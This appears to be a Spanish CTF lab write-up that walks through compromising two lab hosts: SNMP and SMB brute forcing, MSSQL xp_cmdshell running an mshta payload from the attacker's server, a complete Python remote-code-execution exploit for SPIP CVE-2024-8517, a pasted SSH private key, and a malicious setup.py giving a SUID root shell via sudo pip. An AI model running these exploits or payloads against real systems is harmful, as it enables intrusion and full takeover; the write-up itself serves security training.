~/write-ups/writeup-3a97d93542
Network Penetration Testing CTF 1
Imported from Notion: Network Penetration Testing CTF 1
Pistas
-
Task 1: Leverage SNMP to uncover a user with access to a sensitive share on server.prod.local
-
Task 2: Obtain a shell on server.prod.local
-
Task 3: Gain elevated privileges on server.prod.local
-
Task 4: Exploit a vulnerable application on web.prod.local
-
Task 5: Examine a user’s .plan file on web.prod.local for a privilege escalation opportunity
Empezamos con un nmap
nmap -A server.prod.local -oA server_prod_local_A_scan

Vemos varios puertos interesantes pero la pista nos habla de SNMP vamos a ver si esta abierto:
nmap -sU -Pn -p161 server.prod.local

Esta abierto, vamos a user metasploit para facilitar la enumeracion.
msfconsole -q
Ahora vamos a buscar:
search snmp_login
use 0
Ahora vemos opciones con show options
set RHOSTS server.prod.local
set VERSION all
run

Login Successful: blue
Tenemos ya una comunidad, vamos a enumerar.
search snmp_enum

use 1
set RHOSTS server.prod.local
set COMMUNITY blue
run

Lo mas relevante del output es secrets un share smb, vamos a enumerar usuarios.
search snmp_enum
use 3
set RHOSTS server.prod.local
set COMMUNITY blue
run

Found 6 users: Administrator, DefaultAccount, Guest, WDAGUtilityAccount, ssm-user, timothy
Ahora creamos una wordlist:
echo "Administrator, DefaultAccount, Guest, WDAGUtilityAccount, ssm-user, timothy" | tr -s ", " "\n" > users.txt
Ahora vamos a hacer brute force para ver si encontramos credenciales.
search smb_login
use 0
set RHOSTS server.prod.local
set USER_FILE /root/users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
set CreateSession true
run

sessions 1
shares
shares -i secrets
ls
cat flag1.txt
download mssql_creds.txt

Tenemos la primera flag: a02c05bb546e44e5b3dc6337f2395f6c
Y credenciales de la db en mssql_creds.txt
Ahora pulsamos Ctrl+z para dejarla en segundo plano.
Vamos a ver las credenciales:
cat mssql_creds.txt
Ahora en otra terminal, vamos a conectarnos a la db
impacket-mssqlclient 'timmy:def_32121_@#@server.prod.local'

Comprobamos version:
select @@version;

Vamos a ver que usuarios tienen privilegios:
select loginname from syslogins where sysadmin = 1;

Ahora vamos a intentar habilitar la shell:
enable_xp_cmdshell

Necesitamos permisos, a si que vamos a intentar loguearnos como sa
EXECUTE AS LOGIN = 'sa'
enable_xp_cmdshell

Ahora en metasploit
use exploit/windows/misc/hta_server
exploit

En la terminal con la conexión smb:
EXEC xp_cmdshell "mshta.exe YOUR_TARGET_SERVER_LINK"
En este caso:
http://10.10.37.6:8080/jWJoYEDr7r.hta

cd /
cat flag2.txt
Tenemos la flag 2: 9e861e2d5ac14fc28799e2f80958a81f
Ahora para ganar privilegios, basta con poner:
getsystem
Y vamos al escritorio del usuario administrator
cd C:\\Users\\Administrator\\Desktop
cat flag3.txt
Tenemos la flag 3: 8e429ccfcdd1409abfff372d0f8d9174
Vamos con el segundo target web.prod.local
Vamos a ver que red tenemos:
ifconfig

Como podemos ver:
-
IP: 10.2.23.18
-
Mask: 255.255.240.0
Para calcular la red, puedes usar https://amis13.tech/tools/subnetting/
En este caso es: 10.2.16.0/20

run autoroute -s 10.2.16.0/20
Tu red puede ser diferente.
Ahora pulsamos Ctrl+z para dejarlo en segundo plano y buscamos:
search portscan
use 5
set RHOSTS web.prod.local
run

Vamos a añadir portfwd para ver que hay corriendo en esos puertos:
sessions 2
portfwd add -l 1234 -p 80 -r 10.2.30.76
portfwd add -l 1235 -p 79 -r 10.2.30.76
portfwd add -l 1236 -p 22 -r 10.2.30.76
Ctrl+z para ponerlo en segundo plano.
En otra terminal:
nmap -sV -p1234,1235,1236 localhost

Vamos a cambiar socks4 por socks5:
nano /etc/proxychains4.conf
Y abajo del todo cambiamos:
socks5 127.0.0.1 9050
En metasploit
use socks_proxy
set SRVPORT 9050
run
Ahora en una terminal:
proxychains4 -q curl -v \
-H 'Host: web.prod.local' \
http://10.2.31.61/

Composed-By: SPIP 4.3.1
Tenemos vector de ataque.
searchsploit SPIP

Ahora en vamos a crear un exploit para explotar spip, ya que no nos sirve ninguna de searchsploit. Lo llamaremos cve.py
#!/usr/bin/env python3
"""
SPIP BigUp unauthenticated RCE helper for CVE-2024-8517.
Adapted for offline Kali/CTF environments:
- Standard library: argparse, base64, random, string, sys, urllib.parse
- Installed dependencies: requests, bs4
- No rich_click, alive_progress, prompt_toolkit, or random_user_agent required.
Use only on systems you are authorized to test.
"""
from __future__ import annotations
import argparse
import base64
import random
import string
import sys
from urllib.parse import urlparse
import requests
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
DEFAULT_USER_AGENTS = (
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/124.0 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) "
"Gecko/20100101 Firefox/124.0",
"curl/8.8.0",
)
class SpipBigUp:
def __init__(
self,
base_url: str,
*,
proxy: str | None = None,
timeout: float = 10.0,
verbose: bool = False,
) -> None:
self.base_url = base_url.rstrip("/")
self.proxies = {"http": proxy, "https": proxy} if proxy else None
self.timeout = timeout
self.verbose = verbose
self.headers = {"User-Agent": random.choice(DEFAULT_USER_AGENTS)}
def log(self, message: str, level: str = "*") -> None:
prefixes = {"+": "[+]", "-": "[-]", "!": "[!]", "*": "[*]"}
print(f"{prefixes.get(level, '[*]')} {message}")
def debug(self, message: str) -> None:
if self.verbose:
self.log(message, "*")
def get_form_action_args(self) -> dict[str, str] | None:
parsed = urlparse(self.base_url)
custom_path = parsed.path.lstrip("/")
pages: list[str] = []
if custom_path:
pages.append(custom_path)
pages.extend(["login", "spip_pass", "contact"])
for page in pages:
if custom_path and page == custom_path:
url = f"{parsed.scheme}://{parsed.netloc}/{page}"
else:
url = f"{self.base_url}/spip.php?page={page}"
self.debug(f"Solicitando formulario: {url}")
try:
response = requests.get(
url,
headers=self.headers,
proxies=self.proxies,
verify=False,
timeout=self.timeout,
allow_redirects=True,
)
except requests.RequestException as exc:
self.debug(f"Error al consultar {page}: {exc}")
continue
self.debug(
f"Respuesta {response.status_code}, {len(response.content)} bytes"
)
if response.status_code != 200:
continue
soup = BeautifulSoup(response.text, "html.parser")
action_node = soup.find("input", {"name": "formulaire_action"})
args_node = soup.find("input", {"name": "formulaire_action_args"})
if action_node and args_node:
action = action_node.get("value")
args = args_node.get("value")
if action and args:
self.debug(f"Formulario válido encontrado en page={page}")
return {"action": action, "args": args}
return None
def post_article_form(
self,
form_data: dict[str, str],
encoded_command: str,
) -> requests.Response | None:
boundary = "".join(
random.choices(string.ascii_letters + string.digits, k=16)
)
random_name = "".join(random.choices(string.ascii_letters, k=4))
random_filename = "".join(random.choices(string.ascii_letters, k=4))
php_payload = (
'header("X-Command-Output: " . '
f'base64_encode(shell_exec(base64_decode("{encoded_command}"))))'
).replace('"', '\\"')
parts = [
(
f'--{boundary}\r\n'
'Content-Disposition: form-data; name="formulaire_action"\r\n\r\n'
f'{form_data["action"]}'
),
(
f'--{boundary}\r\n'
'Content-Disposition: form-data; '
'name="bigup_retrouver_fichiers"\r\n\r\n'
'1'
),
(
f'--{boundary}\r\n'
'Content-Disposition: form-data; '
f'name="{random_name}[\' . {php_payload} . die() . \']"; '
f'filename="{random_filename}"\r\n'
'Content-Type: text/plain\r\n\r\n'
'Contenu du fichier!'
),
(
f'--{boundary}\r\n'
'Content-Disposition: form-data; '
'name="formulaire_action_args"\r\n\r\n'
f'{form_data["args"]}'
),
f"--{boundary}--",
]
body = "\r\n".join(parts)
headers = self.headers.copy()
headers["Content-Type"] = f"multipart/form-data; boundary={boundary}"
self.debug(f"Enviando multipart a {self.base_url}")
try:
response = requests.post(
self.base_url,
data=body,
headers=headers,
proxies=self.proxies,
verify=False,
timeout=self.timeout,
allow_redirects=False,
)
self.debug(
f"POST respondió {response.status_code}, "
f"{len(response.content)} bytes"
)
return response
except requests.RequestException as exc:
self.log(f"Falló la petición de explotación: {exc}", "-")
return None
def execute_command(
self,
form_data: dict[str, str],
command: str,
) -> str | None:
encoded_command = base64.b64encode(command.encode()).decode()
response = self.post_article_form(form_data, encoded_command)
if response is None:
return None
encoded_output = response.headers.get("X-Command-Output")
if not encoded_output:
self.debug(
"No apareció la cabecera X-Command-Output; "
"el objetivo puede no ser vulnerable."
)
return None
try:
return base64.b64decode(encoded_output).decode(
errors="replace"
).rstrip()
except Exception as exc:
self.log(f"No se pudo decodificar la respuesta: {exc}", "-")
return None
def check(self) -> tuple[bool, dict[str, str] | None, str | None]:
form_data = self.get_form_action_args()
if not form_data:
self.log("No se encontraron los campos del formulario SPIP.", "-")
return False, None, None
output = self.execute_command(form_data, "whoami")
if output is not None:
return True, form_data, output
return False, form_data, None
def interactive_shell(self, form_data: dict[str, str]) -> None:
self.log("Shell interactiva iniciada. Escribe 'exit' para salir.", "*")
while True:
try:
command = input("$ ").strip()
except (EOFError, KeyboardInterrupt):
print()
break
if not command:
continue
if command.lower() in {"exit", "quit"}:
break
if command.lower() == "clear":
sys.stdout.write("\033[2J\033[H")
sys.stdout.flush()
continue
output = self.execute_command(form_data, command)
if output is None:
self.log("No se recibió salida del servidor.", "-")
elif output:
print(output)
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description=(
"SPIP BigUp CVE-2024-8517 RCE para entornos offline/CTF."
)
)
parser.add_argument(
"-u",
"--url",
required=True,
help="URL base, por ejemplo http://web.prod.local",
)
parser.add_argument(
"-c",
"--command",
help="Ejecuta un único comando y termina.",
)
parser.add_argument(
"--proxy",
help="Proxy HTTP(S), por ejemplo http://127.0.0.1:8080. "
"Para SOCKS de Metasploit usa proxychains4 externamente.",
)
parser.add_argument(
"--timeout",
type=float,
default=10.0,
help="Timeout HTTP en segundos (predeterminado: 10).",
)
parser.add_argument(
"-v",
"--verbose",
action="store_true",
help="Muestra detalles de las peticiones.",
)
return parser.parse_args()
def main() -> int:
args = parse_args()
exploit = SpipBigUp(
args.url,
proxy=args.proxy,
timeout=args.timeout,
verbose=args.verbose,
)
vulnerable, form_data, whoami = exploit.check()
if not vulnerable or form_data is None:
exploit.log(
"El objetivo no parece vulnerable o la explotación falló.",
"-",
)
return 1
exploit.log(f"Objetivo vulnerable. Usuario web: {whoami}", "+")
if args.command:
output = exploit.execute_command(form_data, args.command)
if output is None:
exploit.log("El comando no devolvió salida.", "-")
return 2
if output:
print(output)
return 0
exploit.interactive_shell(form_data)
return 0
if __name__ == "__main__":
raise SystemExit(main())
Vamos a dar permisos:
chmod +x cve.py
Ahora lanzamos:
proxychains4 -q python3 cve.py --url http://web.prod.local --verbose

Vamos a sacar la flag como dice la pista:
cat /flag4.txt

Tenemos la flag 4: cefc4069efe54db98647b9c61e6fafee
Vamos a por la 5, segun dice la pista, debemos buscar un .plan
find /home -maxdepth 2 -type f -name '.plan' -ls 2>/dev/null

Lo tenemos, pero no tenemos permisos ni de escritura, ni de lectura, a si que debemos ver otras vías.
En una terminal aparte, vamos a enumerar finger para ver rutas o output interesante.
printf '/W auditor\r\n' | proxychains4 -q nc -w 5 web.prod.local 79

Vemos una ruta interesante /var/opt.backups
Vamos a ver que hay y encontramos una ssh key
cat /var/opt.backups/auditor/priv_key

Ahora vamos a meterla en nuestro kali:
cat > auditor_key <<'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEA0k9Vo4aqWNmnMcgdhf00xIU3MSDuBgxx1tYYUeE+INo2f4RnysRn
iYYDNdM3cIwu1h2dBwFdBIcAL/nSRlWg88wdJMFD2FMQ1mklJ7QFxaeX5Ffz8zFvL+jaOd
GfldprBzBDbHSJtKCS/yEm4WHR1u3ZnJ9CrcRbSFDmzW3hJvLFZtEvpZMw3GjXIup6da7m
2a/wxL9BvWLK4Z08yiuXBL2dQOb7W6dN4CZQUDoh+dpEAXS40QmrGr1pcuMg8n1b2ETjuM
NnJ8yuyT3ivZPliGB1iKc0fmU9WDSQRc5abJKlbQg8r/FIGaQ5Dn9DASfCcqpnQ+iM2MYW
f6mPUSZOQsS8gAaQtPKPPVRFMNUbxe2W9sYuCzX+tqXQiImxArnSDfBbfXPlDEgYqvMQj4
hKWMvz3iEB4WRKdxDUHjWOmP87SsFfI+0BC7QOysLefvZDGzGjVBb67ipEnOlBMynKit8k
zOTUkSeDUjFndgFvt7+c+jBWJOB+oKX0WqshywnE5MhC3zqr3prle7It7XZEyD7295lqde
hBS4A92h02a+jX5TqfQAgEgFprrLubWW5l3O430Ra5LxGlzi0rsfSAgxrygSEovusGnUZ9
2TRchPKTmwQxJB42szLCKy8xnpl9AkhMyiOnvOHqsQCRif573Tgip88w2Mh6cTWa4hjkSh
8AAAdQteks0LXpLNAAAAAHc3NoLXJzYQAAAgEA0k9Vo4aqWNmnMcgdhf00xIU3MSDuBgxx
1tYYUeE+INo2f4RnysRniYYDNdM3cIwu1h2dBwFdBIcAL/nSRlWg88wdJMFD2FMQ1mklJ7
QFxaeX5Ffz8zFvL+jaOdGfldprBzBDbHSJtKCS/yEm4WHR1u3ZnJ9CrcRbSFDmzW3hJvLF
ZtEvpZMw3GjXIup6da7m2a/wxL9BvWLK4Z08yiuXBL2dQOb7W6dN4CZQUDoh+dpEAXS40Q
mrGr1pcuMg8n1b2ETjuMNnJ8yuyT3ivZPliGB1iKc0fmU9WDSQRc5abJKlbQg8r/FIGaQ5
Dn9DASfCcqpnQ+iM2MYWf6mPUSZOQsS8gAaQtPKPPVRFMNUbxe2W9sYuCzX+tqXQiImxAr
nSDfBbfXPlDEgYqvMQj4hKWMvz3iEB4WRKdxDUHjWOmP87SsFfI+0BC7QOysLefvZDGzGj
VBb67ipEnOlBMynKit8kzOTUkSeDUjFndgFvt7+c+jBWJOB+oKX0WqshywnE5MhC3zqr3p
rle7It7XZEyD7295lqdehBS4A92h02a+jX5TqfQAgEgFprrLubWW5l3O430Ra5LxGlzi0r
sfSAgxrygSEovusGnUZ92TRchPKTmwQxJB42szLCKy8xnpl9AkhMyiOnvOHqsQCRif573T
gip88w2Mh6cTWa4hjkSh8AAAADAQABAAACAHYchBYQnT7FDfcRUjNb3vS3dCWtPsA64Pws
xP/HJiNBKfY3oCrqXtOHZeomsy4MLImnm/bBN0JBp0NKZGOH15rT+VIZEEc/b2dbKbjAi7
VTyCQ/mQvtqWoYteZe6ec5AX7KBjO0x1mgDK4oKjPNwhGZBuvFLad1bWaRuO2KVjaPhXmW
5dFxdrFyV9COKzRIg/Ghs/BrETqRbyuCKQ/Jp0jMTLKUhnoU3dGS8uv7mfU+NY8zxE/xxB
yCX+Rb1rcY3Cn7loC/jQF3HHp8vQiHNROASMH0VbDenrMY4iWyHGp5eVpgk+Sj90AfUMPp
iPHvKG9JcDFdOyzLIvuTeJ+0iaJE+k8AtQ85VLWPyLz8a9P2kzEcKekyqGWCn8MK5avmWq
7DcRGVshgIW+aB3q4adEjl0AeyZRkB2rdLTVbWUHVlwdt38QRvcE5tj7hXjZncPUIImfaF
VYlXNQKd0W/1vdxroXXqeU9qu7PCvn0rcFKQ0zNXj6fXJUQ5VAn9mXu89z2utm4P80ocUb
AJmOv9GdJkOTZnSrlD9lfuJfHR+YB0Mosz+AJHpByuczFsPw4o0V3DL3mURiZgItS0qm8P
qp749M2cSoL25ewo1kcPkz0vWEy3rM8TRag/2EaQ2FX/O1p41Lx+InP5GUeE19aua/r32E
L3kKzsVEUAzASk+/IxAAABAQDef60H+nhkCijvx19C3RIgnST72HQsR1n9Fyqo/UP6LFrR
fxe4iXX8Lnj4VXpgRafnj7+EfZwgf+xIJlXZJUoHGcfFCWKXKCrt2XG+BuLbzZ2vOosfbW
rS4Gdu+F/2ATMLZXgqyUQ2A8szcCIRO7p6JMzz/l2XQc39gnLdh951b5m+8cFuaymrGcje
RO6s0gJGoai7eAr29jkTCysmwmj4CgqGK+x5JE5MTrDPZIrDGmpszR+DBTQWSFzgMaGefy
FOsu8P9lkJ+/P71GOx5oJrhuQacjpnsKh1qouwvc2fZBBxUJJJ0KHqgo0fgMDeKwBvVWMr
SnNhp4gvMfYCG0BfAAABAQDzafCnwWsTTWr8eOSXei90ml17f2oDc072JIXHuxIsXRE27e
d7mIZYCWLil6eo5y8NtVVKLLvn4Aecu/5dbNLreR8OMEFzvaUeOIAkgOizfAZmnyEj8b2J
nW0SMPoHQQOB+byUF2t1HvERh8Baperp9h+M53vkzO4Q4UduGA9QzBFCLscmgA0cMAb6JU
w5vy1XjsXCIgB3SFo10GmYYn+B0t5fIUfNXKocfrLD2WVcMvT3alCxvl5ZIG9JbhmJNL8Z
EhSAMC/ivVuBaW5p0KuKdtVwANtAMSc0yJlgZupXH6DBdMqKGAhU6mXLxgoJfZBtpE53u7
PT+KsHTxDdczPzAAABAQDdLzLwqey5C3AvYpkv5UZirgFOnJ6iR1ozF5I6k3lA6nS3wouy
zYwqpwAT4tYkc5+/YOXGLQZjiAP+HM+06iyjy7uYKj/v4BQmpbAaT5xXScyDfLpjughvJG
YkWeyMQqb5Bn7WQoZHcDM60Tqjl6NJ/T0io62fsckSaKUjHKujeRfP42ak6tOnYqSB4uSM
7XBLf29rojULJfVkF//whA8HR1uHWezTIP9btaPn3kJOYVKES2cUHkiEtXfgekFWQ9whra
HUdDBfp1Bwv+VfvL2GgtIgZgtord7crshJ2qr4R86yfMMqVo8euMKhH2KW7JFmcE6v6zAT
pRWXDRVm5RglAAAAGGF1ZGl0b3JAaXAtMTcyLTMxLTMyLTEwNAEC
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 auditor_key
Cambia la ssh key por la tuya, puede ser diferente.
Conéctate por el pivote:
proxychains4 -q ssh \
-o StrictHostKeyChecking=no \
-i auditor_key \
auditor@web.prod.local

Ahora vamos a buscar vectores para escalar privilegios:
sudo -l

Podemos explotar pip
En la máquina objetivo:
mkdir-p /tmp/pwnpkg && cd /tmp/pwnpkg
Crea setup.py:
cat > setup.py <<'PY'
from setuptools import setup
import os
os.system("cp /bin/bash /tmp/rootbash")
os.system("chmod 4755 /tmp/rootbash")
setup(
name="pwnpkg",
version="1.0",
)
PY
Ejecuta pip con sudo:
sudo /usr/bin/pip install .
Después:
/tmp/rootbash -p
Comprueba:
id
whoami

Vamos a ver la flag:
cat /root/flag5.txt

Tenemos la ultima flag: d01d9a4c3fb9412cbfa990facb6afefd
- EOF -
<< back_to_index